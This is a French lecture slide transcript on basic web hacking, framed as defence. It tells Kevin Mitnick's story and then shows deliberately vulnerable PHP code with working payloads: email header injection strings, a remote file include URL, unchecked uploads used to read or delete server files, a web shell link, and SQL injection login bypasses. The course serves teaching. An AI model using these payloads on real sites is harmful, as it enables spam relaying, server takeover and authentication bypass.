1 / 39

Fondamentaux de l'Internet (FDI) JeanDo Lénard jdlenard@gmail

Fondamentaux de l'Internet (FDI) JeanDo Lénard jdlenard@gmail.com. Hacking Principes de base pour protéger correctement ses applications et ses sites Il ne s'agit pas ici d'apprendre à pirater les autres, mais d'apprendre à se protéger des pirates. Le maître du domaine Kevin Mitnick.

aidan-neal
Download Presentation

Fondamentaux de l'Internet (FDI) JeanDo Lénard jdlenard@gmail

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Fondamentaux de l'Internet (FDI) JeanDo Lénard jdlenard@gmail.com

  2. Hacking Principes de base pour protéger correctement ses applications et ses sites Il ne s'agit pas ici d'apprendre à pirater les autres, mais d'apprendre à se protéger des pirates

  3. Le maître du domaine Kevin Mitnick alias Le Condor

  4. Le maître du domaine Kevin Mitnick Il a 17ans. Il commence avec le piratage de centraux téléphoniques, en trouve les codes, les manuels et les codes d'accès au siège de Pacific Bell (évidemment il s'ocroit quelques lignes longue distance gratuites.) Il a 19ans. L'un des premiers à s'introduire sur les ordinateurs du Pentagone, via les machines de l'université de Californie. Il y serait retourné une centaine de fois.

  5. Le maître du domaine Kevin Mitnick Un spécialiste du piratage de centraux téléphoniques dans lesquels il change les noms de ses "ennemis" par James Bond et il s'attribut des centaines de numéros qui finissent par 007. Intrusion sur les ordinateurs de mise à feu de la NASA à Pasadéna, de l'Université de Leeds, de l'unité centrale de la défense aérienne américaine (non confirmé) et du système de localisation d'appels du FBI. Et là, le FBI n'a pas aimé ça du tout… D'autant que l'intéressé a publié les documents trouvés sur le Net…

  6. Le maître du domaine Kevin Mitnick La traque commence, elle durera 3 ans. Tsutomu Shimomura (autre grand hacker, spécialiste en piratage de téléphones cellulaires) passé de l'autre côté est recruté par le FBI pour traquer Mitnick. Le soir de Noel, Mitnick pirate les ordinateurs de Shimomura grâce à une toute nouvelle attaque encore jamais mise en pratique "l'attaque de Mitnick", connue aujourd'hui comme IP spoofing. Un mois plus tard Shimomura retrouve tous ses documents et ses mots de passe sur l'ordinateur d'un FAI…

  7. Le maître du domaine Kevin Mitnick Shimomura s'installe chez le FAI et suit Mitnick à la trace. Il le voit hacker Motorola, voler 20.000 numéros de cartes de crédit chez Netcom. Shimomura se déplace chez Netcom, mais les appels de Mitnick passent par 3 villes différentes. Après avoir identifié la ville de Raleigh, Shimomura s'y installe. Les appels de Mitnick sont émis depuis le central de la compagnie GTE, mais GTE croit que les appels viennent de SPRINT qui croit qu'ils viennent de GTE (le réseau tél est complètement manipulé).

  8. Le maître du domaine Kevin Mitnick Ne pouvant localiser l'appel, Shimomura arpente les rues de Raleigh avec une voiture équipée d'une antenne pour cellulaire et finit par localiser l'appartement de Mitnick. Le FBI attrape Mitnick… Mitnick n'a jamais altéré aucune donnée, ni utiliser les informations dérobées. Il a été condamné à 35ans de prison et libéré au bout de 5ans. En prison, il ne peut téléphoner qu'à son avocat, sa mère et sa grand-mère car on craint qu'il ne libère un méga-virus via un appel téléphonique.

  9. Phase 1 : Le social engineering : la force de Mitnick En plus de ses compétences, Mitnik avait un talent pour le social engineering qui reste la base du hacking. Lorsque l'on veut entrer quelque part, le plus simple est encore de demander à une personne à l'intérieur de nous ouvrir. De même, le social engineering consiste à persuader une personne de l'intérieur de nous donner des informations ou d'exécuter un programme qu'on lui envoie par email ou bien dont on lui donne l'adresse Internet. Il s'agit là d'une méthode quasi systématiquement employée dans les cas de tentative de piratage de cibles authentifiées.

  10. Phase 2 : Gagner de l'information Aucun Hacking n'est possible contre un système qui ne fournit aucune information. Donc, le principe de base de la sécurité est de ne fournir que le minimum d'informations et d'être conscient de ce que l'on fournit. Par exemple, quelles sont les informations données par un navigateur Web ?

  11. Phase 2 : Gagner de l'information Tester les informations fournis par votre navigateur Web : http://jdlenard.free.fr/client.html Toutes ces informations sont donc à la disposition des sites Web que vous visitez.

  12. Phase 2 : Gagner de l'information Tester les informations fournis par le serveur Web : http://jdlenard.free.fr/portscan.html (http://www.t1shopper.com/tools/port-scanner/) Pour un serveur, il est fondamental pour le hacker que savoir quels sont les ports ouverts. Les ports sont les canaux de communication réseaux. Ils sont très nombreux et certains peuvent rester ouverts sans que l'administrateur ne le sache. Donc sur vos serveurs, vérifier quels sont les ports ouverts.

  13. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Le mini code Php suivant permet d'envoyer un email à une personne prédéterminé (pour éviter les spammers). Typiquement, ce genre de formulaire est utilisé pour prévenir un webmestre, ou bien pour contacter une personne dans une société (le formulaire de contact très courant. Il peut être utilisé par des spammers pour envoyer des emails à qui ils souhaitent.

  14. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail <? $to="jdlenard@free.fr"; if (!isset($_POST["send"])){ ?> <form method="POST" action=""> A: jdlenard@free.fr De: <input type="text" name="expediteur"> Sujet : <input type="text" name="sujet"> Message : <textarea name="message" rows="10" cols="60" lines="20"> </textarea> <input type="submit" name="send" value="Envoyer"> </form> <? }else{ $from=$_POST["expediteur"]; if (mail($to,$_POST["sujet"],$_POST["message"],"From: $from\n")){ }else{ echo "Votre mail n\'a pas pu être envoyé."; } } ?>

  15. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Un email est un texte envoyé sur le port 25 du machine et qui respect une structure particulière. Il possède un : To: destinataire <CR><LF> Subject: sujet du mail <CR><LF> From: émetteur <CR><LF> et le texte du message <CR><LF> .

  16. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Donc dans l'exemple précédent, le champ To est prédéfini. On s'attaque donc au champ From: Dans le champ From, on place donc en premier une adresse comme attendu, mais on y place aussi un <CR><LF> en haxadécimal (pour qu'il ne soit pas interprété de suite), suivi d'un autre entête (par exemple Cc:). Le champ From devient : From: dest1%0ACc:dest2 et ce mail sera envoyé à jdlenard.free.fr ET en copie à dest2.

  17. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail exemple sur http://jdlenard.free.fr/mail1.php

  18. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Le mini code Php suivant permet d'envoyer un email à une personne prédéterminé (pour éviter les spammers), mais le sujet du mail est prédéterminé et le texte du message aussi. Le spammer peut toujours envoyer des mails, mais comme il ne peut modifier le texte ou le sujet, cela n'a pas beaucoup d'intérêt. En apparence seulement …

  19. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail <? $sujet="Visitez http://linuxfr.org !"; $message="Bonjour,\nUn ami vous conseille de visiter http://linuxfr.org.\nAu revoir."; if (!isset($_POST["send"])){ ?> <form method="POST" action=""> Envoi d'email dont le texte est fixé par avance (type; un ami vous conseille ce site) <br> A : <input type="text" name="destinataire"> De: <input type="text" name="expediteur"> <input type="submit" name="send" value="Envoyer"> </form> <? }else{ $from=$_POST["expediteur"]; if (mail($to,$_POST["sujet"],$_POST["message"],"From: $from\n")){ echo "<strong>Test du mail envoyé : </strong><br>"; }else{ echo "Votre mail n\'a pas pu être envoyé."; } } ?> </html>

  20. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Un email est un texte envoyé sur le port 25 du machine et qui respect une structure particulière. Il possède un : To: destinataire <CR><LF> Subject: sujet du mail <CR><LF> From: émetteur <CR><LF> et le texte du message <CR><LF> .

  21. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Donc dans l'exemple précédent, le champ Subject est prédéfini, ainsi que le texte du message. On s'attaque donc au champ From: Dans le champ From, on place donc en premier une adresse comme attendu, mais on y place aussi un <CR><LF> en haxadécimal (pour qu'il ne soit pas interprété de suite), suivi d'une en-tête de type Subject: avec notre sujet, puis <CR><LF> en haxadécimal et un texte sans en-tête qui va donc être considéré comme le texte du message. Le champ From devient : From: émetteur%0ASubject:sujet du mail%0Atexte du message

  22. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Le message envoyé devient donc : Subject: le bon sujet To: le destinataire From: l'émetteur Subject: sujet hacké message hacké message normal. Dans les clients de mail, les deux sujets apparaîtront concaténés et le message hacké passera avant le message normal. Bonus hotmail ! le sujet normal n'apparaît pas, seul le sujet hacké apparaît.

  23. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail exemple sur http://jdlenard.free.fr/mail2.php

  24. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail A partir de formulaire mal conçu de ce type, on peut faire tout ce qu'on veut sur un email : En faire du HTML, ajouter une pièce jointe, etc…

  25. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail La totale : "malfaisant@attack.com%0ASubject:hacké%0ABcc:cible@cible.com %0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog %0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog %0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit %0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A"

  26. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail Le hack précédent permet d'envoyer : en copie caché un mail à cible dont le sujet est trafiqué dont le message original n'est plus visible qui contient un nouveau message qui contient un fichier HTML en pièce jointe. juste à partir d'un formulaire dans lequel on ne peut saisir que To et From:

  27. Phase 3 : Exploiter des programmes mal conçus le formulaire de mail • Donc, quand on fait un formulaire de mail : • on vérifie que les champs sensibles ne contiennent pas de chaînes de caractères permettant dans passer à la ligne. • - ou bien on utilise une fonction de mail modifiée qui ne prendra pas en compte les informations du champ From, mais qui les remplira automatiquement (ce que font les FAI).

  28. Phase 3 : Exploiter des programmes mal conçus l'Include du PhP En PhP, l'instruction Include permet donc d'insérer le contenu d'une page Web à un emplacement choisi. Cette méthode est naturellement très courante et très dangeureuse. L'exemple suivant inclut donc la page de Google dans une page PhP.

  29. Phase 3 : Exploiter des programmes mal conçus l'Include du PhP <? echo "<hr>"; include ($var); echo "<hr>"; ?> Cette page est donc naturellement appelée par : http://mon_serveur/page.php?var=page2.php

  30. Phase 3 : Exploiter des programmes mal conçus l'Include du PhP De base dans Php, on peut donc remplacer le page2.php par n'importe quoi http://mon_serveur/page.php?var=http://www.google.com et la page de Google va s'afficher au milieu de notre texte, ce qui n'est pas grave. Mail le hacker peut aussi placer au lieu de Google une page PhP situé chez lui ET le code PhP va s'exécuter sur notre serveur !

  31. Phase 3 : Exploiter des programmes mal conçus l'Include du PhP Exemple : http://jdlenard.free.fr/include.php?var=http://www.google.fr ou bien http://jdlenard.free.fr/include.php?var=http://lmudri.free.fr/voir.php

  32. Phase 3 : Exploiter des programmes mal conçus Un classique, l'utilisation des scripts d'Upload Un script d'upload est souvent nécessaire et bien pratique. Il demande naturellement à être suivi avec beaucoup d'attention. La plupart des scripts mal conçus ne vérifient que la taille du fichier pour ne pas engorger le serveur.

  33. Phase 3 : Exploiter des programmes mal conçus Un classique, l'utilisation des scripts d'Upload <?php ?> <form method="POST" action="copie.php" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="500000" /> <fieldset> <legend>Envoi de fichiers</legend> <!-- champs d'envoi de fichier, de type file --> <p><label for="photo">Photo :</label><input type="file" name="photo" /></p> <p><label for="photo_2">Photo 2 :</label><input type="file" name="photo_2" /></p> <!-- bouton d'envoi --> <p><input type="submit" name="envoi" value="Envoyer les fichiers" /></p> </legend> </fieldset> </form>

  34. Phase 3 : Exploiter des programmes mal conçus Un classique, l'utilisation des scripts d'Upload Donc ici nous avons juste oublié de vérifier l'extension du fichier. Donc nous pouvons uploader n'importe quoi. Par exemple, on upload voir.php http://jdlenard.free.fr/upload/voir.php?file=../copie.php nous permet donc d'afficher le code Php des différents fichiers. Bien sûr, on peut uploader unlink.php http://jdlenard.free.fr/upload/unlink.php?file=../test.php

  35. Phase 3 : Exploiter des programmes mal conçus Un serveur wamp mal configuré On peut arriver à Uploader des scripts tout faits de grande qualité : http://jdlenard.free.fr/phpRemoteView.php Ca ne donne pas grand chose sur un site sécurisé En revanche sur une install par défaut de Wamp...

  36. Phase 3 : Exploiter des programmes mal conçus L'injection SQL Une faille de plus en plus rare, mais facile à mettre en oeuvre : Un formulaire d'authentification contrôle via une requête SQL : $req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'"; Si on donne à $login et à $password les valeurs : ' OR 'a'='a La requête devient : SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' Ce qui est toujours vrai !

  37. Phase 3 : Exploiter des programmes mal conçus L'injection SQL Ou bien on peut stopper la requête : $req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'"; Si comme login on rentre : John'# La requête devient : $req = "SELECT uid FROM admins WHERE login='John'#' AND password='' Le # met la suite de la requête en commentaire et donc pas besoin de mot de passe.

  38. Phase 3 : Exploiter des programmes mal conçus L'injection SQL Pour s'en protéger (non seulement en PhP, mais aussi en ASP, CGI et autres), il est nécessaire avant toute exécution d'une requête de protéger les champs (de contrôler tous les caractères saisis par l'utilisateur). magic_quotes_gpc ne suffit pas toujours.

  39. 3 phases pour un programme sûr - Sécuriser les utilisateurs qui ont de l'information - Sécuriser le serveur qui ne doit pouvoir faire que ce qui est prévu - Sécuriser les applications, en particulier contre des saisies utilisateurs "imprévues".

More Related